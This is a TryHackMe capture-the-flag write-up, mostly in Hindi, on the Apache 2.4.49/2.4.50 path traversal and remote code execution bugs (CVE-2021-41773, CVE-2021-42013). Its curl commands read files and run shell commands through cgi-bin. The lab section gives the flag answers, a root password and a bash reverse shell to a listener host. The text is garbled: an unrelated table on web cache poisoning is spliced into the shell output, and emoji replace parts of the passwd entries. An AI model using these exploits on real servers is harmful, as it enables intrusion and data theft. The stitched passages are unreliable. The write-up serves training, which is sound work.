
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
एक संक्षिप्त इतिहास
5 अक्टूबर 2021 को, Apache HTTP Server v2.4.49 पर पथ पारगमन हमले का विवरण देने वाला एक CVE जारी किया गया। CVE-2021-41773 नंबर दिया गया, इसे निम्नलिखित विवरण के साथ जारी किया गया:
Apache HTTP Server 2.4.49 में पथ सामान्यीकरण में किए गए बदलाव में एक दोष पाया गया। एक हमलावर पथ पारगमन हमले का उपयोग करके URLs को अपेक्षित दस्तावेज़ रूट के बाहर फ़ाइलों से मैप कर सकता है। यदि दस्तावेज़ रूट के बाहर की फ़ाइलें "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। इसके अतिरिक्त (sic) यह दोष CGI स्क्रिप्ट जैसी व्याख्या की गई फ़ाइलों के स्रोत को लीक कर सकता है। यह मुद्दा जंगली में शोषण किया जा रहा है। यह मुद्दा केवल Apache 2.4.49 को प्रभावित करता है, पुराने संस्करणों को नहीं।
आइए इसे तोड़ें और देखें कि हमारे लिए इसका वास्तव में क्या अर्थ है:
बहुत सारे फिक्स बाद में...
तो Apache ने इस बग को ठीक किया और v2.4.50 जारी किया। कहानी का अंत, है ना? खैर, बिल्कुल नहीं। केवल 2 दिन बाद, 7 अक्टूबर को, पिछले CVE का हवाला देते हुए एक नया CVE जारी किया गया। इसमें उल्लेख किया गया कि पिछले पथ पारगमन हमले का फिक्स अधूरा था, और हम अभी भी पारगमन कर सकते हैं यदि प्रश्न में पथ अपने URLs को फ़ाइल सिस्टम पर मैप करने के लिए एलियास निर्देश का उपयोग करता है। CVE को नंबर CVE-2021-42013 दिया गया, निम्नलिखित विवरण के साथ:
यह पाया गया कि Apache HTTP Server 2.4.50 में CVE-2021-41773 का फिक्स अपर्याप्त था। एक हमलावर पथ पारगमन हमले का उपयोग करके URLs को एलियास-जैसे निर्देशों द्वारा कॉन्फ़िगर की गई निर्देशिकाओं के बाहर फ़ाइलों से मैप कर सकता है। यदि इन निर्देशिकाओं के बाहर की फ़ाइलें सामान्य डिफ़ॉल्ट कॉन्फ़िगरेशन "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। यदि इन एलियास्ड पथों के लिए CGI स्क्रिप्ट भी सक्षम हैं (sic), तो यह रिमोट कोड एक्ज़ीक्यूशन (RCE) की अनुमति दे सकता है। यह मुद्दा केवल Apache 2.4.49 और Apache 2.4.50 को प्रभावित करता है, पुराने संस्करणों को नहीं।
पहले की तरह, हम यहां कुछ बातें सीख सकते हैं:
जब हम इस पागलपन को संसाधित कर रहे हैं, हम अगले कार्य में आवश्यक कॉन्फ़िगरेशन पर गौर करेंगे।
नीचे दिए गए प्रश्नों के उत्तर दें
थ्योरी का एक टुकड़ा
पथ पारगमन एक हमला है जिसका उद्देश्य पथ समाधान और/या सामान्यीकरण में दोषों का दुरुपयोग करके सामान्य रूप से दुर्गम संसाधनों तक पहुँचना है। हम आमतौर पर .. सिंटैक्स का उपयोग करके कल्पित रूट से पीछे (पारगमन के रूप में भी जाना जाता है) यात्रा करके इस प्रकार के हमले का शोषण करते हैं।
सामान्यीकरण? क्या?
आम तौर पर, किसी फ़ाइल को खोजने के लिए किसी कोड को पथ प्रदान करते समय, एक निरपेक्ष पथ आवश्यक होता है। आइए इसे विहित पथ कहते हैं। जब इसके बजाय एक सापेक्ष पथ दिया जाता है, तो इसे एक विहित रूप में सामान्यीकृत किया जाना चाहिए ताकि OS लाइब्रेरीज़ जो उस पथ का उपयोग करती हैं, फिर प्रश्न में संसाधन ढूंढ सकें। बेशक यह एक अति सरलीकरण है, लेकिन मूल बात वही रहती है।
सामान्य तौर पर, हमारे लिए यह सामान्यीकरण करने के लिए प्लेटफ़ॉर्म लाइब्रेरीज़ मौजूद हैं, लेकिन C/C++ में हम आमतौर पर सब कुछ स्वयं करते हैं। जबकि यह कुछ लचीलापन प्रदान कर सकता है, यह आसानी से दोष भी पेश कर सकता है यदि हमारा कार्यान्वयन सही न हो।
URLs को सामान्यीकृत करना
एक HTTP सर्वर को सही फ़ाइल प्रस्तुत करने के लिए URL को फ़ाइल सिस्टम पर एक विहित पथ में अनुवाद करना होता है। जबकि दस्तावेज़ रूट से परे पारगमन से बचने के लिए निश्चित रूप से कुछ फ़िल्टर मौजूद हैं, कुछ उपयोग मामलों को आसानी से छोड़ा जा सकता है। इस मामले में, शोषण न केवल URL एन्कोडिंग (हम इस पर थोड़ी देर बाद आएंगे) बल्कि एलियास मॉड्यूल के पथ सामान्यीकरण में एक दोष (कथित तौर पर) का लाभ उठाता है।
URL एन्कोडिंग पर एक छोटी सी जानकारी
RFC 3986 धारा 2 में परिभाषित, URL एन्कोडिंग एक योजना है जिसका उपयोग URL के भीतर विशेष या आरक्षित वर्णों को एन्कोड करने के लिए किया जाता है। उदाहरण के लिए, URL में रिक्त स्थान को + वर्ण के रूप में एन्कोड किया जाता है (विशेष रूप से क्वेरी पैरामीटर में)। यदि हम एक वास्तविक प्लस को एन्कोड करना चाहते हैं, तो हमें इसे "प्रतिशत-एन्कोडिंग" के रूप में ज्ञात विधि का उपयोग करके एन्कोड करना होगा। इसमें केवल वर्ण के US-ASCII हेक्साडेसिमल कोड को % चिह्न से उपसर्ग करना शामिल है। हमारे उदाहरण में, + प्रतीक को %2B के रूप में एन्कोड किया जा सकता है।
किसी भी वर्ण को URL-एन्कोड किया जा सकता है, और पूरी तरह से URL-एन्कोडेड URLs कार्यात्मक रूप से गैर-एन्कोडेड संस्करण के समतुल्य होते हैं। RFC से: यदि दो URIs केवल प्रतिशत-एन्कोडेड ऑक्टेट में उपयोग किए गए हेक्साडेसिमल अंकों के मामले में भिन्न हैं, तो वे समतुल्य हैं।
तो Apache के साथ क्या हुआ?
Apache सर्वर में पथ सामान्यीकरण मॉड्यूल में एक हालिया बदलाव ने तब एक विशेष रूप से तैयार किए गए URL को फ़िल्टर को बायपास करने और दस्तावेज़ रूट से परे पारगमन करने की अनुमति दी, जिससे सिस्टम पर मनमानी फ़ाइल पढ़ने की अनुमति मिली, यदि कॉन्फ़िगरेशन इसकी अनुमति देता है। इसके अलावा, यदि CGI मॉड्यूल सक्षम था, तो मनमानी फ़ाइल निष्पादन भी संभव है!
नीचे दिए गए प्रश्नों के उत्तर दें
A) सर्वर पर संसाधित होने के लिए मनमानी रिमोट फ़ाइलों को शामिल करता है। B) सर्वर पर संसाधित होने के लिए मनमानी स्थानीय फ़ाइलों को शामिल करता है। C) सर्वर द्वारा मनमानी फ़ाइलों को उजागर करने की अनुमति देता है। D) उपरोक्त में से कोई नहीं।
मज़े के लिए Apache को हैक करना
तो अब जब थ्योरी खत्म हो गई है, तो आइए इस दोष का शोषण करने के लिए आगे बढ़ें। सबसे पहले, हमें Apache का एक कमजोर संस्करण चाहिए। शुक्र है कि इसके लिए हमारे पास डॉकर है :)```
user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
**कॉन्फ़िगरेशन**
इस एक्सप्लॉइट के काम करने के लिए, हमें Apache को कॉन्फ़िगर करना होगा ताकि डॉक्यूमेंट रूट के बाहर फ़ाइलों तक पहुंच की अनुमति मिल सके। हम सटीक हो सकते हैं और एक विशिष्ट निर्देशिका निर्दिष्ट कर सकते हैं, या हम YOLO रास्ता अपना सकते हैं और सब कुछ तक पहुंच दे सकते हैं। हमारे उद्देश्यों के लिए, सब कुछ ठीक काम करेगा। शुरू करने के लिए, आइए अपने कंटेनर को चलाएं और कॉन्फ़िगरेशन में खुदाई करें। ध्यान दें कि ये संशोधन Apache के दोनों कमजोर संस्करणों के लिए काम करते हैं।```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249- AllowOverride none
250: Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307: Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.
user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
एक अलग बात के रूप में, आप हमेशा कॉन्फ़िगरेशन को हाथ से संशोधित कर सकते हैं। हम उस हिस्से को संशोधित करना चाहते हैं जो कहता है:``` AllowOverride none Require all denied
और denied को granted से बदलें। इससे Apache को पूरे फाइलसिस्टम तक पहुंच मिल जाएगी (जो निश्चित रूप से अच्छा विचार नहीं है, इसलिए इसे प्रोडक्शन में कभी न करें)।
**उस रसीले RCE के लिए कॉन्फ़िगरेशन**
केवल एक्सेस कंट्रोल में बदलाव करने से डेटा एक्सपोज़र मिलेगा, लेकिन RCE नहीं। अपने छोटे से PoC में RCE प्राप्त करने के लिए, हमें एक्सेस अनुमतियों के अतिरिक्त CGI मॉड्यूल को भी सक्रिय करना होगा। इससे CGI मॉड्यूल स्क्रिप्ट को उसकी सामग्री दिखाने के बजाय कॉल करने पर निष्पादित करेगा। CGI को सक्षम करने के लिए, हमें बस LoadModule कॉन्फ़िगरेशन को अनकमेंट करना होगा। यह मानते हुए कि हमारे पास अभी भी वह कंटेनर है जिसे हमने पहले बदला था, हम निम्नलिखित कर सकते हैं:```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184: #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187: #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387- #
388- # ScriptSock: On threaded servers, designate the path to the UNIX
389: # socket used to communicate with the CGI daemon of mod_cgid.
390- #
391- #Scriptsock cgisock
392-</IfModule>
393-
user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
आप निश्चित रूप से फ़ाइलों को संशोधित करने के लिए किसी भी उपलब्ध टेक्स्ट एडिटर का उपयोग कर सकते हैं। grep/sed विधि कंटेनर के अंदर एक शेल के साथ काम करती है, क्योंकि वहाँ कोई टेक्स्ट एडिटर उपलब्ध नहीं हैं।
अब एक्सप्लॉइट्स पर आते हैं!
अब जब हमने अपना कंटेनर सेटअप कर लिया है, हम इस CVE का शोषण करने के लिए आगे बढ़ सकते हैं (आखिरकार)। विधि काफी सीधी है, और इसमें ट्रैवर्स करते समय प्रत्येक URL पथ खंड में एक . प्रतीक को url-encoding करना शामिल है। हमें एक aliased पथ से भी ट्रैवर्स करना होगा। सौभाग्य से, हम कॉन्फ़िग पढ़ने से जानते हैं कि cgi-bin पथ डिफ़ॉल्ट रूप से aliased है, तो चलिए इसका उपयोग करते हैं! एक्सप्लॉइट संस्करण 2.4.49 और 2.4.50 के बीच थोड़ा भिन्न होता है, हालांकि बाद वाला पहले वाले पर भी काम करता है।
Apache 2.4.49 बिना CGI सक्षम के
CGI सक्षम न होने पर, हम केवल फ़ाइलें पढ़ सकते हैं। curl का उपयोग करके, हम बस उन फ़ाइलों तक पहुँचते हैं जिन्हें हम चाहते हैं, प्रत्येक पथ खंड में एक . को url-encoding करके।```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /
**Apache 2.4.49 CGI सक्षम के साथ**
CGI मामले को जटिल बना देगा क्योंकि मॉड्यूल प्राप्त फ़ाइल को निष्पादित करने का प्रयास करेगा। सादे टेक्स्ट, जैसे /etc/passwd, के लिए यह समस्याग्रस्त हो सकता है :). कोड को निष्पादित करने के लिए, हम केवल `sh` या `bash` को बॉडी में कमांड के साथ कॉल कर सकते हैं। ध्यान दें कि Content-Type प्रतिक्रिया हेडर को भी भेजा जाना चाहिए ताकि क्लाइंट को पता चले कि परिणाम कैसे प्रदर्शित करने हैं।```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact
Apache 2.4.50
This particular example was fixed in version 2.4.50. However, the fix was incomplete and failed to account for a double-encoding of the URL. In this case, we can use the same structure as the previous version, with the following path:``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
यदि हम ध्यान से देखें, तो देख सकते हैं कि URL `%%32%65` से `%2e.` में डिकोड होता है। यह फ़िल्टर कोड को बायपास करता है और हमें वेब सर्वर रूट के बाहर जाने की अनुमति देता है।
**नीचे दिए गए प्रश्नों के उत्तर दें**
1. **रिमोट कोड एक्सेक्यूशन प्राप्त करने के लिए कौन सा मॉड्यूल सक्षम होना चाहिए?**
- **mod_cgi**
---
### कार्य 4: व्यावहारिक परीक्षा
कॉन्फ़िगरेशन थोड़ा पेचीदा है, इसलिए मैंने आपके लिए यह सब कर दिया है! इस कार्य से जुड़ी वर्चुअल मशीन में (कृपया सब्सक्राइबर VM के लिए 4 मिनट और मुफ्त VM के लिए 7 मिनट तक सही से शुरू होने का इंतजार करें), 4 संवेदनशील Apache सर्वर इस प्रकार कॉन्फ़िगर किए गए हैं:
Apache 2.4.49 बिना CGI: `http://MACHINE_IP:8080`
Apache 2.4.49 CGI के साथ: `http://MACHINE_IP:8081`
Apache 2.4.50 बिना CGI: `http://MACHINE_IP:8082`
Apache 2.4.50 CGI के साथ: `http://MACHINE_IP:8083`
प्रत्येक सर्वर की रूट डायरेक्टरी में `flag.txt` नामक एक फ़्लैग है। आपका कार्य उन सभी को खोजना है।
बोनस उद्देश्य के रूप में, CGI-सक्षम सर्वरों में से किसी एक पर वास्तविक शेल प्राप्त करने का प्रयास करें। पोर्ट 8083 वाले सर्वर में एक छिपा हुआ रूट फ़्लैग भी है।
***नीचे दिए गए प्रश्नों के उत्तर दें***
1. **पोर्ट 8080 पर फ़्लैग क्या है?**
- ***THM{724V3R51N6_P4TH5_F02_FUN}***```
$ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt
- Trying 10.10.107.169:8080...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
> GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
> Host: 10.10.107.169:8080
> User-Agent: curl/7.67.0
> Accept: _/_
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 08:57:26 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
< ETag: "1d-5ce102e25be36"
< Accept-Ranges: bytes
< Content-Length: 29
< Content-Type: text/plain
<
{ [29 bytes data]
100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
- Connection #0 to host 10.10.107.169 left intact
THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
Trying 10.10.107.169:8081...
TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50
} [50 bytes data]
upload completely sent off: 50 out of 50 bytes
Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}
Connection #0 to host 10.10.107.169 left intact
3. **पोर्ट 8082 पर फ्लैग क्या है?**
- ***THM{D0UBL3_3NC0D1N6_F7W}***```
$ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}
5. **मैं एक शेल प्राप्त करने में सक्षम था! (मैं वास्तव में इसकी पुष्टि नहीं कर सकता, इसलिए मैं आप पर विश्वास करूंगा :))**
***कोई उत्तर आवश्यक नहीं***
6. **Apache सर्वर किस उपयोगकर्ता के रूप में चल रहा है?**
- ***daemon***
7. **पोर्ट 8083 पर मशीन पर रूट फ्लैग खोजें?**
- ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
$ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'
- Trying 10.10.37.52:8083...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
> Host: 10.10.37.52:8083
> User-Agent: curl/7.67.0
> Accept: _/_
> Content-Length: 48
> Content-Type: application/x-www-form-urlencoded
>
> } [48 bytes data]
- upload completely sent off: 48 out of 48 bytes
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 12 Nov 2021 16:20:43 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
- transfer closed with outstanding read data remaining
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
- Closing connection 0
curl: (18) transfer closed with outstanding read data remaining
| तकनीक | विवरण |
|---|---|
| वेब कैश पॉइज़निंग | कैशे में सामग्री में हेरफेर करके दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करना। प्रॉक्सी सर्वर और CDN पर लक्षित। |
| वेब कैश डिसेप्शन | URL पैटर्न और एक्सटेंशन का शोषण करके संवेदनशील प्रतिक्रियाओं को संग्रहीत करने के लिए कैशे को धोखा देना। |
| ETag मैनिपुलेशन | सशर्त अनुरोधों को बाध्य करने और अकैश्ड प्रतिक्रियाएँ प्राप्त करने के लिए ETag हेडर में परिवर्तन। |
| $ ncat -lvp 4242 | |
| Ncat: Version 7.91 ( https://nmap.org/ncat ) | |
| Ncat: Listening on :::4242 | |
| Ncat: Listening on 0.0.0.0:4242 | |
| Ncat: Connection from 10.10.37.52. | |
| Ncat: Connection from 10.10.37.52:35836. | |
| bash: cannot set terminal process group (1): Inappropriate ioctl for device | |
| bash: no job control in this shell | |
| daemon@18c7613b3859:/bin$ cd /root | |
| cd /root | |
| bash: cd: /root: Permission denied | |
| daemon@18c7613b3859:/bin$ su root | |
| su root | |
| Password: ApacheCVE |
cd /root
ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}